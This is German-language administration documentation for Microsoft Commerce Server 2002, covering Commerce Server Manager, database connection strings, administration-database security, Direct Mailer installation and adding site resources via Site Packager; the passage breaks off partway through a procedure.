Verwenden von Commerce Server-Manager | Verwalten und Konfigurieren der Ressourcen, Sites, Anwendungen und Webserver von Commerce Server
Verwenden von Site Packager | Bereitstellen von Sites, Ressourcen, Anwendungen und Webservern
SQL Enterprise Manager | Verwalten der Commerce Server-Datenbanken
IIS-Snap-In | Verwalten von Webservern
Windows 2000 Active Directory-Benutzer und -Computer | Verwalten von Windows 2000-Benutzerkonten, -Computerkonten, -Sicherheits- und -Verteilergruppen
Windows 2000-Ereignisanzeige | Anzeigen von Ereignisprotokollen
Windows 2000-Systemmonitor | Sammeln und Anzeigen von Echtzeit-Computerleistungsdaten
Windows 2000-Sicherungs-Assistent | Sichern der IIS-Metabasis (Internetinformationsdienste), Windows 2000-Registrierungseinstellungen und Commerce Server-Dateien
Windows 2000-Wiederherstellungs-Assistent | Wiederherstellen der IIS-Metabasis, Windows 2000-Registrierungseinstellungen und Commerce Server-Dateien


Verwenden von CommerceServer-Manager

Feedback zu dieser Seite senden Commerce Server 2002

Verwenden von Commerce Server-Manager

Der Commerce Server-Manager ist ein Tool, das zum Verwalten und Konfigurieren von Commerce Server 2002-Ressourcen, -Sites, -Anwendungen und -Webservern eingesetzt wird. Die Microsoft Management Console (MMC), eine Windows-basierte Oberfläche von Microsoft Windows 2000, dient als Host für den Commerce Server-Manager.

Die Funktionen des Commerce Server-Managers stehen weder über web- noch über befehlszeilenbasierte Verwaltung zur Verfügung. Der Zugriff und die Manipulation eines Großteils dieser Funktionen erfolgt stattdessen über COM-Objekte. Aus diesem Grund können Sie zur Erweiterung der Verwaltungsumgebung ein WSH-Skript (Windows Scripting Host) oder eine ASP-Seite (Active Server Pages) schreiben.

So greifen Sie auf den Commerce Server-Manager zu

  • Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Commerce Server-Manager.

Siehe auch

Integrating Custom Resources (englisches Thema)


Ändern der Datenbank-Verbindungszeichenfolgen

Commerce Server-Verbindungszeichenfolgen werden in der Verwaltungsdatenbank gespeichert. Es wird empfohlen, sämtliche Datenbank-Verbindungszeichenfolgen mit Windows-Authentifizierung zu konfigurieren. Weitere Informationen zum Konfigurieren der Site zur Verwendung von Windows-Authentifizierung finden Sie unter Verwenden der Windows-Authentifizierung.

Commerce Server verwendet Verbindungszeichenfolgen für die folgenden Datenbanken:

  • Verwaltungsdatenbank. Die Verbindungszeichenfolge für die Verwaltungsdatenbank konfigurieren Sie beim Setup. Sie können die Verbindungszeichenfolge zu einem späteren Zeitpunkt mithilfe des Commerce Server-Managers ändern. Weitere Anleitungen finden Sie unter Ändern der Verwaltungsdatenbank-Verbindungszeichenfolge.
  • Direct Mailer-Datenbank. Die Verbindungszeichenfolge für die Direct Mailer-Datenbank konfigurieren Sie beim Setup. Sie können diese zu einem späteren Zeitpunkt mithilfe des Commerce Server-Managers ändern. Anweisungen finden Sie unter Konfigurieren von Direct Mailer.
  • Datenbanken, die von Ressourcen verwendet werden. Wenn Sie eine Site mit Commerce Server Site Packager entpacken, werden Sie bei einigen Ressourcen nach einer Verbindungszeichenfolge zur entsprechenden Datenbank gefragt. In der folgenden Tabelle werden die Verbindungszeichenfolgen für jede Ressource aufgeführt.
    Ressource | Verbindungszeichenfolge
    Berechtigungen in Business Desk | SDT-Datenbank
    Produktkatalog | Katalogdatenbank
    Kampagnen | Kampagnendatenbank
    Transaktionen | Transaktionsdatenbank
    Transaktionskonfiguration | Transaktionskonfigurations-Datenbank
    Profile | s_BizDataStoreConnectionString, s_CommerceProviderConnectionString, s_ProfileServiceConnectionString
    Data Warehouse Die Verbindungszeichenfolge hat auf der Benutzeroberfläche keinen Namen, da das Data Warehouse über eine eigene Snap-In-Erweiterung verfügt.

    Die Verbindungszeichenfolge für die Data Warehouse-Ressource zur OLAP-Datenbank unterstützt lediglich Windows-Authentifizierung.

  • Andere Datenbanken. Sie bestimmen Verbindungszeichenfolgen auch in den folgenden Fällen:
    Feature | Verbindungszeichenfolge
    Listen-Manager: Importieren und Exportieren von Listen | Stellen Sie im Modul "Listen-Manager" von Commerce Server Business Desk die Verbindungszeichenfolge für die SQL Server-Datenbanktabelle ein, die Sie importieren bzw. exportieren.
    Migration ProfileBuilder-Tool | Nachdem Sie den ProfileBuilder-Quellcode geändert haben, erstellen Sie einen Datenquellennamen (DSN) für den Commerce Server-Profildatenspeicher.
    Profilressource: Hinzufügen von Datenquellen | Verwenden Sie die Datenquellenauswahl (bzw. für LDAP [Lightweight Directory Access Protocol] das LDAP-Verbindungszeichenfolge-Dialogfeld) zur Eingabe der Verbindungszeichenfolgen für die Datenbanken und LDAP-Quellen, die Sie mit Datenquellenpartitionen verknüpfen.

Verwenden Sie den Commerce Server-Manager, wenn Sie eine Verbindungszeichenfolge für eine Datenbank ändern müssen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Ändern der Verbindungszeichenfolge für eine globale Ressource
  • Ändern der Verbindungszeichenfolge für eine Siteressource

Siehe auch

Verwenden der Windows-Authentifizierung

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

OLE DB Connection Strings for the Data Warehouse (englisches Thema)

OLE DB Connection Strings for the Profiling System (englisches Thema)

Code to Connect to the Expression Store (englisches Thema)

Code to Connect to the Profiles Store (englisches Thema)


Ändern der Verbindungszeichenfolge für eine globale Ressource

Die Verbindungszeichenfolgen können für alle globalen Ressourcen geändert werden.

So ändern Sie die Verbindungszeichenfolge für eine globale Ressource

Hinweis

  • Da die globale Data Warehouse-Ressource über ihre eigene Snap-In-Erweiterung mit einer anderen Benutzeroberfläche verfügt, gilt diese Anleitung hier nicht. Anweisungen zum Ändern der Data Warehouse-Verbindungszeichenfolgen finden Sie unter Konfigurieren von Data Warehouse-Verbindungszeichenfolgen.
  1. Erweitern Sie im Commerce Server-Manager zunächst Commerce Server-Manager und anschließend Globale Ressourcen.
  2. Klicken Sie mit der rechten Maustaste auf die zu konfigurierende globale Ressource, und klicken Sie dann auf Eigenschaften.
  3. Um die Verbindungszeichenfolgen für die globale Ressource zu konfigurieren, wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Verbindungszeichenfolgen eine Verbindungszeichenfolge aus. Klicken Sie dann auf Ändern.

    Das Dialogfeld Datenverknüpfungseigenschaften wird angezeigt.

  4. Sobald Sie die notwendigen Änderungen im Dialogfeld Datenverknüpfungseigenschaften vorgenommen haben, klicken Sie auf OK.

Hinweise

  • Sie können auch Verbindungszeichenfolgen hinzufügen, die keiner Datenbank zugeordnet und daher auch nicht funktional sind. In diesem Fall zeigt Microsoft Datenverknüpfung keine Fehlermeldung an.
  • Nach dem Ändern einer Verbindungszeichenfolge müssen Sie Internetinformationsdienste (IIS) neu starten. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

Verwenden der Windows-Authentifizierung

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

OLE DB Connection Strings for the Data Warehouse (englisches Thema)

OLE DB Connection Strings for the Profiling System (englisches Thema)

Code to Connect to the Expression Store (englisches Thema)

Code to Connect to the Profiles Store (englisches Thema)


Ändern der Verbindungszeichenfolge für eine Siteressource

Die Verbindungszeichenfolgen können für alle Siteressourcen geändert werden.

So ändern Sie die Verbindungszeichenfolge für eine Siteressource

  1. Erweitern Sie im Commerce Server-Manager erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Erweitern Sie Siteressourcen, klicken Sie mit der rechten Maustaste auf die zu konfigurierende Siteressource, und klicken Sie anschließend auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Verbindungszeichenfolge eine Verbindungszeichenfolge aus, und klicken Sie auf Ändern. Das Dialogfeld Datenverknüpfungseigenschaften wird angezeigt.
  4. Sobald Sie die notwendigen Änderungen im Dialogfeld Datenverknüpfungseigenschaften vorgenommen haben, klicken Sie auf OK.

Hinweise

  • Sie können auch Verbindungszeichenfolgen hinzufügen, die keiner Datenbank zugeordnet und daher auch nicht funktional sind. In diesem Fall zeigt Microsoft Datenverknüpfung keine Fehlermeldung an.
  • Nach dem Ändern einer Verbindungszeichenfolge müssen Sie IIS neu starten. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

Verwenden der Windows-Authentifizierung

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

OLE DB Connection Strings for the Data Warehouse (englisches Thema)

OLE DB Connection Strings for the Profiling System (englisches Thema)

Code to Connect to the Expression Store (englisches Thema)

Code to Connect to the Profiles Store (englisches Thema)


Ausschließliches Installieren der Verwaltungstools

Sobald Sie Commerce Server auf mindestens einem Computer installiert haben, können Sie auch eine reine Verwaltungskonsole auf einem separaten Computer einrichten. Ein Verwaltungscomputer enthält nur den Commerce Server-Manager und ist mit der vorhandenen Verwaltungsdatenbank verbunden.

Einen ausschließlich der Verwaltung dienenden Computer verwenden Sie in folgenden Fällen:

  • Sie möchten Ihren vorhandenen Computer einsetzen, ohne zuvor aufwändige Konfigurationen durchzuführen. Ein Verwaltungscomputer stellt in Bezug auf Software und Konfiguration weniger Anforderungen als ein Computer, auf dem Commerce Server vollständig installiert ist. Als Betriebssystem ist lediglich Microsoft Windows 2000 Professional erforderlich, nicht notwendigerweise Microsoft Windows 2000 Server.
  • Optional können Sie Commerce Server von verschiedenen Standorten aus verwalten. Verwaltungscomputer müssen sich in derselben Domäne wie Commerce Server bzw. in einer vertrauenswürdigen Domäne befinden.

Ein Verwaltungscomputer muss den folgenden Anforderungen entsprechen:

  • Microsoft Windows 2000 Professional, Server oder Advanced Server müssen installiert sein
  • 20 MB freier Festplattenspeicherplatz
  • Konnektivität zur vorhandenen Verwaltungsdatenbank

So installieren Sie die Verwaltungstools

  1. Führen Sie Commerce Server 2002-Setup auf dem Computer aus, der ausschließlich für die Verwaltung verwendet werden soll, und wählen Sie Benutzerdefinierte Installation aus.
  2. Stellen Sie sicher, dass für diese Installation die Option Verwaltung ausgewählt ist, und deaktivieren Sie alle anderen Optionen.
  3. Im Bildschirm Konfiguration der Verwaltungsdatenbank führen Sie die folgenden Aktionen durch:
    Option | Aktion
    SQL Server-Computer | Geben Sie hier den Namen des SQL Server-Computers ein, auf dem die Verwaltungsdatenbank erstellt werden soll.
    SQL-Benutzername | Geben Sie zur Anmeldung am SQL Server einen Benutzernamen ein, der über Berechtigungen hinsichtlich des SQL Servers verfügt, auf dem die Verwaltungsdatenbank erstellt werden soll.
    SQL-Kennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein.
  4. Klicken Sie auf Weiter und anschließend auf Installieren.

Der Commerce Server-Manager wird damit auf Ihrem Computer installiert.

So aktivieren Sie die Verwaltung durch einen Proxyserver oder einen Firewall

  • Öffnen Sie Anschluss 1433 zwischen SQL Server und dem Verwaltungscomputer.

Standardmäßig ist SQL Server an Anschluss 1433 empfangsbereit. Anweisungen zum Ändern der Anschlussnummer finden Sie in den Onlinebüchern zu SQL Server.

Hinweis

  • Sie können den Commerce Server-Manager zwar über einen Proxyserver oder einen Firewall verwenden, nicht jedoch den Internetdienste-Manager. Um IIS-Verwaltungsmöglichkeiten zu einem Verwaltungscomputer hinzuzufügen, der sich außerhalb eines Firewalls befindet, können Sie die browserbasierten IIS- oder Microsoft-Terminaldienste verwenden.

    Weitere Informationen über die Verwendung von IIS finden Sie in der IIS 5.0-Dokumentation. Informationen über die Verwendung von Terminaldiensten finden Sie unter "Clientdienste" in der Windows 2000-Dokumentation.


Verwalten der Verwaltungsdatenbank

Ihre Commerce Server 2002-Site kann aus vielen Computern bestehen. Allerdings werden die Konfigurationsdaten der Ressourcen aller Computer zentral in einer einzigen SQL Server-Verwaltungsdatenbank mit dem Namen MSCS_Admin gespeichert. Diese Datenbank wird automatisch bei der ersten Installation von Commerce Server erstellt. Während der Installation müssen Sie den SQL Server-Computer für die Verwaltungsdatenbank bestimmen.

Wenn Sie Commerce Server auf zusätzlichen Computern installieren, richten Sie während der Installation die Computer auf die Verwaltungsdatenbank aus. Wenn alle Computer so eingerichtet werden, dass sie auf diese zentrale Datenbank verweisen, können Sie alle Commerce Server-Computer von einer zentralen Konsole aus verwalten.

Hinweis

  • Alle Commerce Server-Computer können eine einzige Verwaltungsdatenbank verwenden. Alternativ können Computer ihre eigene Verwaltungsdatenbank verwenden.

In der folgenden Tabelle werden die typischen Speicherorte der Verwaltungsdatenbank in unterschiedlichen Umgebungen angezeigt.

Typ der Umgebung | Normaler Speicherort der Verwaltungsdatenbank
Ein einziger Server, der Commerce Server, Microsoft SQL Server und alle Webkomponenten enthält | Auf dem einzigen Server
Ein oder mehrere Webserver und ein Datenbankserver | Auf dem SQL Server-Computer
Mehrstufige Multiserverumgebung | Auf einem der SQL Server-Computer (für optimale Leistung getrennt vom Data Warehouse)

Dieser Abschnitt beinhaltet folgende Themen:

  • Interaktion zwischen Sites und der Verwaltungsdatenbank
  • Verwalten der Sicherheit auf der Verwaltungsdatenbank
  • Ändern der Verwaltungsdatenbank-Verbindungszeichenfolgen


Abläufe zwischen den Sites und der Verwaltungsdatenbank

Der Zugriff auf die Verwaltungsdatenbank wird über drei COM-Objekte gewährleistet: SiteConfig, GlobalConfig und SiteConfigReadOnly. In der folgenden Abbildung wird dargestellt, wie die Kommunikation zwischen Sites und der Verwaltungsdatenbank durch diese Config-Objekte vereinfacht wird.

Abbildung zur Aktualisierung der Verwaltungsdatenbank durch Config-Objekte

Die Config-Objekte schreiben Daten in die Verwaltungsdatenbank. Config-Objekte erhalten aber auch Daten von der Datenbank, die dann von den Anwendungen verwendet werden. Informationen über das Programmieren von Config-Objekten finden Sie in Programmer's Reference (englisches Thema).

Siehe auch

Sichern der Site

Verwalten der Sicherheit auf der Verwaltungsdatenbank


Verwalten der Sicherheit auf der Verwaltungsdatenbank

Die Verbindungszeichenfolge für die Verwaltungsdatenbank verwendet einen Microsoft SQL Server-Benutzeranmeldenamen und ein Kennwort.

Während der Installation von Commerce Server werden Sie vom Setupprogramm zur Eingabe eines vorhandenen SQL Server-Benutzeranmeldenamens und eines Kennworts aufgefordert. Setup benötigt diese, um die Verwaltungsdatenbank auf dem SQL Server zu erstellen bzw. eine Verbindung zur Datenbank herzustellen, sofern diese bereits existiert.

Nach dem Erstellen der Verwaltungsdatenbank können Sie mit Microsoft SQL Server Enterprise Manager den SQL Server-Benutzeranmeldenamen und das Kennwort für die Verwaltungsdatenbank ändern. Wenn Sie eine andere SQL Server-Anmeldung verwenden möchten, um vom Commerce Server-Computer aus eine Verbindung zur Verwaltungsdatenbank herzustellen, müssen Sie den Commerce Server-Manager zum Ändern der Verbindungszeichenfolge zur Datenbank verwenden.

Verwenden Sie aus Sicherheitsgründen nicht die Systemadministratoranmeldung für den Zugriff auf die Verwaltungsdatenbank. Erstellen Sie stattdessen mit SQL Server Enterprise Manager für die Verwaltungsdatenbank eine neue Anmeldung und einen neuen Benutzer.

So ändern Sie den SQL Server-Benutzeranmeldenamen und das Kennwort für die Verwaltungsdatenbank

  1. Klicken Sie mit der rechten Maustaste auf Commerce Server-Manager, und klicken Sie anschließend auf Eigenschaften.
  2. Klicken Sie im Dialogfeld Eigenschaften von Commerce Server-Manager auf der Registerkarte Verwaltungsdatenbank auf Ändern.

    Das Dialogfeld Datenverknüpfungseigenschaften wird angezeigt.

  3. Sobald Sie die notwendigen Änderungen im Dialogfeld Datenverknüpfungseigenschaften vorgenommen haben, klicken Sie auf OK.

    Hinweis

    • Wenn Sie weitere Informationen über das vollständige Ausfüllen des Dialogfelds Datenverknüpfungseigenschaften benötigen, klicken Sie im Dialogfeld Datenverknüpfungseigenschaften auf Hilfe. Damit öffnen Sie die Datei Microsoft Data Link-Hilfe.

Siehe auch

Sichern der Site


Ändern der Verwaltungsdatenbank-Verbindungszeichenfolgen

Hinweis

  • Wenn der Commerce Server-Manager keine Verbindung zur Verwaltungsdatenbank herstellen kann, wird der Stammknoten für den Commerce Server-Manager im Bereichsausschnitt der Microsoft Management Console (MMC) angezeigt. Der Rest der Commerce Server-Hierarchie wird jedoch nicht angezeigt.

Legen Sie zum Herstellen einer Verbindung zur Verwaltungsdatenbank auf SQL Server während der Installation von Commerce Server zunächst die Verbindungszeichenfolge fest. Die Verbindungszeichenfolge der Verwaltungsdatenbank unterstützt die Microsoft SQL-Authentifizierung sowie die Windows-Authentifzierung.

Die Verbindungszeichenfolge für die Verwaltungsdatenbank muss in folgenden Fällen geändert werden:

  • Wenn Sie den Speicherort der Verwaltungsdatenbank ändern.
  • Wenn Sie die Datenbank umbenennen.
  • Wenn Sie Commerce Server auf mehreren Servern mittels Windows-Authentifizierung bereitgestellt haben und AuthFilter für die Benutzerdefinierte Authentifizierung konfiguriert ist.

    Wenn Sie in diesem Fall AuthFilter verwenden, müssen Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank ändern, da der ISAPI-Filter (und damit auch AuthFilter) in der Sicherheitsumgebung des IIS-Prozesses (inetinfo) ausgeführt wird, der auch als LocalSystem bezeichnet wird. Daher versucht AuthFilter, die Verbindung mit SQL Server auf einem anderen Computer herzustellen, und verwendet dabei die Anmeldeinformationen für LocalSystem, die in diesem Fall jedoch ungültig sind. Netzwerkweite Verbindungen sind aus diesem Grund nicht möglich. (Wenn sich die Verwaltungsdatenbank in einem lokalen Verzeichnis befindet, kann eine Verbindung hergestellt werden. Die Verwaltungsdatenbank sollte aber nicht auf den Webserver gelegt werden.)

    Weitere Informationen finden Sie unter Verwenden der Windows-Authentifizierung in einer verteilten Bereitstellung.

So ändern Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank

  1. Klicken Sie mit der rechten Maustaste auf Commerce Server-Manager, und klicken Sie anschließend auf Eigenschaften.
  2. Klicken Sie im Dialogfeld Eigenschaften von Commerce Server-Manager auf der Registerkarte Verwaltungsdatenbank auf Ändern.

    Das Dialogfeld Datenverknüpfungseigenschaften wird angezeigt.

  3. Ändern Sie bei Bedarf im Dialogfeld Datenverknüpfungseigenschaften den SQL Server-Namen.
  4. Wählen Sie den Authentifizierungsmodus aus:
    • Wählen Sie Integrierte Sicherheit von Windows NT verwenden aus, um die in Windows NT integrierte Sicherheit zu verwenden.
    • Wählen Sie Spezifischen Benutzernamen und spezifisches Kennwort verwenden, um die SQL-Authentifizierung zu verwenden und die Felder für den Benutzernamen und das Kennwort auszufüllen.

    Verwenden Sie nicht die Option Leeres Kennwort. Dadurch würde ein Sicherheitsrisiko in Ihrer Umgebung entstehen.

  5. Klicken Sie auf OK.

Hinweise

  • Sie können auch Verbindungszeichenfolgen hinzufügen, die keiner Datenbank zugeordnet und daher auch nicht funktional sind. In diesem Fall zeigt Microsoft Datenverknüpfung keine Fehlermeldung an.
  • Nach dem Ändern einer Eigenschaft im Commerce Server-Manager ist der Neustart aller Dienste erforderlich, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

Sichern der Verwaltungsdatenbank

Verwalten der Verwaltungsdatenbank


Verwalten von Commerce-Ressourcen

Es gibt zwei Ressourcentypen: globale Ressourcen und Siteressourcen. Drittanbieter können benutzerdefinierte globale Ressourcen und Siteressourcen für die Arbeit mit Commerce Server entwickeln. Führen Sie die Anleitungen dieses Abschnitts zum Installieren, Hinzufügen und Konfigurieren von Commerce Server-Ressourcen durch.

Dieser Abschnitt beinhaltet folgende Themen:

  • Installieren und Deinstallieren von globalen Ressourcen. Beschreibt, wie eine globale Ressource installiert und deinstalliert wird.
  • Hinzufügen eines globalen Ressourcenzeigers zu einer Site. Beschreibt, wie ein globaler Ressourcenzeiger einer Site hinzugefügt wird.
  • Hinzufügen einer Ressource zu einer Site. Beschreibt, wie eine Ressource einer Site hinzugefügt wird.
  • Gemeinsamer Zugriff auf Ressourcen von verschiedenen Sites. Listet die Ressourcen auf, die von mehreren Sites gemeinsam genutzt werden können.
  • Konfigurieren einer globalen Ressource. Beschreibt, wie eine globale Ressource konfiguriert wird.
  • Konfigurieren einer Siteressource. Beschreibt, wie eine Siteressource konfiguriert wird.
  • Ändern des Dienstkontos oder des Kennworts. Beschreibt, wie ein Konto oder ein Kennwort für Direct Mailer, die Ereignisprotokollierung und den Listen-Manager geändert werden.
  • Löschen einer Ressource aus einer Site. Beschreibt, wie eine Ressource von einer Site gelöscht wird.
  • Löschen der Data Warehouse-Ressource. Erklärt, wie eine mithilfe der Data Warehouse-Konfiguration entpackte Site bzw. Ressource gelöscht werden kann.


Installieren und Deinstallieren von globalen Ressourcen

Zum Installieren bzw. Deinstallieren von Direct Mailer, einer globalen Ressource in Commerce Server, verwenden Sie das Programm Microsoft Commerce Server 2002-Setup. Andere globale Ressourcen werden während des Vorgangs des Entpackens erstellt.

Nachdem Sie Direct Mailer installiert haben, müssen Sie diese Ressource entpacken, sodass sie von einer Site verwendet werden kann. Stellen Sie beim Entpacken einer Anwendung die globalen Ressourcenzeiger der Site so ein, dass sie auf Direct Mailer zeigen. Anweisungen zum Hinzufügen und Löschen von globalen Ressourcenzeigern zu bzw. aus einer Site finden Sie unter Hinzufügen eines globalen Ressourcenzeigers zu einer Site und Löschen einer Ressource aus einer Site.

Weitere Informationen zum Installieren und Bereitstellen von Direct Mailer finden Sie unter Bereitstellen der Site.

So installieren Sie Direct Mailer

  1. Legen Sie die Commerce Server 2002-CD in das CD-Laufwerk ein, und führen Sie das Programm Commerce Server 2002-Setup aus. Nehmen Sie den Lizenzvertrag an, geben Sie Ihre Kundeninformationen ein, und wählen Sie den Zielordner aus.
  2. Wählen Sie im Dialogfeld Setup-Typ die Option Benutzerdefiniert (oder die Option Ändern, wenn Sie Commerce Server bereits auf Ihrem Computer installiert haben). Klicken Sie anschließend auf Weiter.
  3. Wählen Sie im Dialogfeld Benutzerdefinierte Installation unterhalb des Ordners Laufzeitobjekte die Option Direct Mailer-Dienst aus. Wählen Sie anschließend für die anderen Optionen Nicht installiert aus, und klicken Sie dann auf Weiter.
  4. Geben Sie im Dialogfeld Konfiguration der Direct Mailer-Datenbank im Eingabefeld SQL Server-Computer den Namen des Computers ein. Geben Sie den SQL Server-Benutzeranmeldenamen und das Kennwort für die Erstellung der Direct Mailer-Datenbank ein, und klicken Sie anschließend auf Weiter.
  5. Geben Sie im Dialogfeld Dienstkonten den Windows-Benutzernamen und das Kennwort des Kontos ein, über das die Dienste von Commerce Server Direct Mailer ausgeführt werden, und klicken Sie anschließend auf Weiter.

    Hinweis

    • Verwenden Sie beim Zuweisen eines Dienstkontos ein permanentes Konto. Wenn dieses Konto zu einem späteren Zeitpunkt deaktiviert oder das Kennwort geändert wird, hört Commerce Server auf zu arbeiten. Anweisungen zum Ändern des Dienstkontos oder des Kennworts finden Sie unter Ändern des Dienstkontos oder des Kennworts.
  6. Klicken Sie im Dialogfeld Zur Installation bereit auf Installieren.

    Commerce Server-Setup installiert Direct Mailer auf dem Computer.

  7. Klicken Sie auf Fertig stellen, um das Setupprogramm zu beenden.

So deinstallieren Sie Direct Mailer

  1. Legen Sie die Commerce Server 2002-CD in das CD-Laufwerk ein, und führen Sie das Programm Commerce Server 2002-Setup aus. Nehmen Sie den Lizenzvertrag an, geben Sie Ihre Kundeninformationen ein, und stimmen Sie der Wahl des Standardzielordners zu.
  2. Wählen Sie im Dialogfeld Setup-Typ die Option Ändern aus, und klicken Sie anschließend auf Weiter.
  3. Im Dialogfeld Benutzerdefinierte Installation darf die Option Direct Mailer-Dienst nicht ausgewählt sein (ein X im Kontrollkästchen bedeutet, dass Sie die Funktion nicht auswählen). Klicken Sie anschließend auf Weiter.
  4. Klicken Sie im Dialogfeld Zur Installation bereit auf Installieren.

    Commerce Server-Setup entfernt Direct Mailer vom Computer.

  5. Klicken Sie auf Fertig stellen, um das Setupprogramm zu beenden.

Siehe auch

Bereitstellen der Site

Hinzufügen eines globalen Ressourcenzeigers zu einer Site

Löschen einer Ressource aus einer Site


Hinzufügen eines globalen Ressourcenzeigers zu einer Site

Nachdem Sie das Setupprogramm von Commerce Server 2002 zum Installieren einer globalen Ressource verwendet haben, können Sie einen Zeiger einer Ressource in jeder Site Ihrer Commerce Server-Verwaltungsdatenbank hinzufügen. Um einen globalen Ressourcenzeiger einer Site hinzuzufügen, entpacken Sie den globalen Ressourcenzeiger aus einer Commerce Server Site Packager-Datei.

Nachdem Sie Direct Mailer installiert haben, entpacken Sie eine Site mit einer Direct Mailer-Ressource. Beim Entpacken einer Site stellen Sie die globalen Ressourcenzeiger der Site so ein, dass sie auf Direct Mailer zeigen.

Hinweise

  • Bevor Sie diesen Schritt durchführen, müssen Sie eine Paketdatei erstellen oder ein Lösungssitepaket verwenden, das den globalen Ressourcenzeiger enthält, den Sie Ihrer Site hinzufügen möchten. Anweisungen zum Erstellen eines Pakets finden Sie unter Verwenden von Site Packager.
  • Wenn Sie die Direct Mailer-Ressource entpacken, nachdem Sie eine Commerce Server Business Desk-Anwendung entpackt und einen Business Desk Client installiert haben, müssen Sie die Internetinformationsdienste (IIS) 5.0 auf dem Webserver, auf dem sich die Business Desk-Anwendung befindet, neu starten. Dadurch erst wird erkannt, dass Direct Mailer hinzugefügt wurde. Business Desk Clients müssen die Verbindung zur Anwendung erneut herstellen. Anweisungen dazu finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

So fügen Sie einen globalen Ressourcenzeiger einer Site hinzu.

  1. Erweitern Sie im Commerce Server-Manager erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Klicken Sie mit der rechten Maustaste auf Siteressourcen, zeigen Sie auf Neu, und klicken Sie schließlich auf Ressource hinzufügen.
  3. Wählen Sie im Dialogfeld Öffnen das Paket aus, das den globalen Ressourcenzeiger enthält, den Sie der Site hinzufügen möchten. Klicken Sie anschließend auf Öffnen.

    Commerce Server Site Packager wird gestartet.

  4. Wählen Sie im Dialogfeld Ressourcen auswählen aus dem Feld Verfügbare Ressourcen die gewünschte globale Ressource aus, und klicken Sie dann auf Hinzufügen. Die Ressource wird im Feld Zu entpackende Ressourcen angezeigt.
  5. Klicken Sie auf Weiter.
  6. Stellen Sie im Dialogfeld Globale Ressourcenzeiger sicher, dass die Ressource auf die entsprechende globale Ressource zeigt. Sie können verschiedene neue globale Ressourcen auf diesem Bildschirm erstellen. Dazu wählen Sie Neue globale Ressource erstellen dann aus, wenn Sie den globalen Ressourcenzeiger zuordnen.
  7. Im Dialogfeld Datenbank-Verbindungszeichenfolgen sind die Datenbanken aufgeführt, die Site Packager erstellen wird, sowie die Server, auf denen die Datenbanken erstellt werden. Wenn Sie eine neue Datenbank für Ihre globale Ressource erstellen müssen, klicken Sie auf Neue Datenbank.
  8. Geben Sie im Eingabefeld SQL Server-Computer den Namen des Computers ein, der die Datenbank enthalten wird. Geben Sie im Eingabefeld Datenbanknamen den Namen ein, den die Datenbank erhalten soll. In die übrigen Eingabefelder geben Sie einen SQL Server-Benutzeranmeldenamen und ein Kennwort ein. Klicken Sie dann auf Datenbank erstellen.
  9. Wenn Sie zum Dialogfeld Datenbank-Verbindungszeichenfolgen zurückkehren, wählen Sie eine Verbindungszeichenfolge und klicken anschließend auf Ändern.
  10. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die notwendigen Änderungen vor, und klicken Sie auf OK.

    Hinweis

    • Wenn Sie weitere Informationen über das vollständige Ausfüllen des Dialogfelds Datenverknüpfungseigenschaften benötigen, klicken Sie im Dialogfeld Datenverknüpfungseigenschaften auf Hilfe. Damit öffnen Sie die Datei Microsoft Data Link-Hilfe.
  11. Klicken Sie auf Weiter.
  12. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Protokolldatei des Entpackungsvorgangs an, und klicken Sie dann auf Fertig stellen.

Der globale Ressourcenzeiger wird unter der Site im Commerce Server-Manager angezeigt.

Siehe auch

Verwenden von Site Packager

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf einer Konfiguration mit drei Computern ohne Cluster

Löschen einer Ressource aus einer Site

Installieren von Commerce Server


Hinzufügen einer Ressource zu einer Site

Um eine Ressource einer Site hinzuzufügen, entpacken Sie die Ressource aus einer Paketdatei.

Hinweise

  • Bevor Sie diesen Schritt durchführen, müssen Sie eine Paketdatei erstellen oder ein Lösungssitepaket verwenden. Dieses muss die Ressource enthalten, die Sie Ihrer Site hinzufügen möchten. Anweisungen zum Packen einer Ressource und zur Erstellung einer Paketdatei finden Sie unter Verwenden von Site Packager.
  • Wenn Sie die Direct Mailer-Ressource entpacken, nachdem Sie eine Commerce Server Business Desk-Anwendung entpackt und einen Business Desk Client installiert haben, müssen Sie die Internetinformationsdienste (IIS) 5.0 auf dem Webserver, auf dem sich die Business Desk-Anwendung befindet, neu starten. Dadurch erst wird Direct Mailer erkannt. Business Desk Clients müssen die Verbindung zur Anwendung erneut herstellen. Anweisungen dazu finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

So fügen Sie eine Siteressource hinzu

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Klicken Sie erst auf Siteressourcen, klicken Sie dann mit der rechten Maustaste auf Siteressourcen, zeigen Sie auf Neu und klicken Sie schließlich auf Ressource hinzufügen.
  3. Wählen Sie im Dialogfeld Öffnen das Paket aus, das eine Liste vorhandener Sitepakete enthält, die Sie der Site hinzufügen möchten. Klicken Sie anschließend auf Öffnen.

    Commerce Server Site Packager wird gestartet.

  4. Wählen Sie im Dialogfeld Ressourcen auswählen aus dem Feld Verfügbare Ressourcen die gewünschte Ressource aus, und klicken Sie dann auf Hinzufügen. Die Ressource wird im Feld Zu entpackende Ressourcen angezeigt.
  5. Klicken Sie auf Weiter.
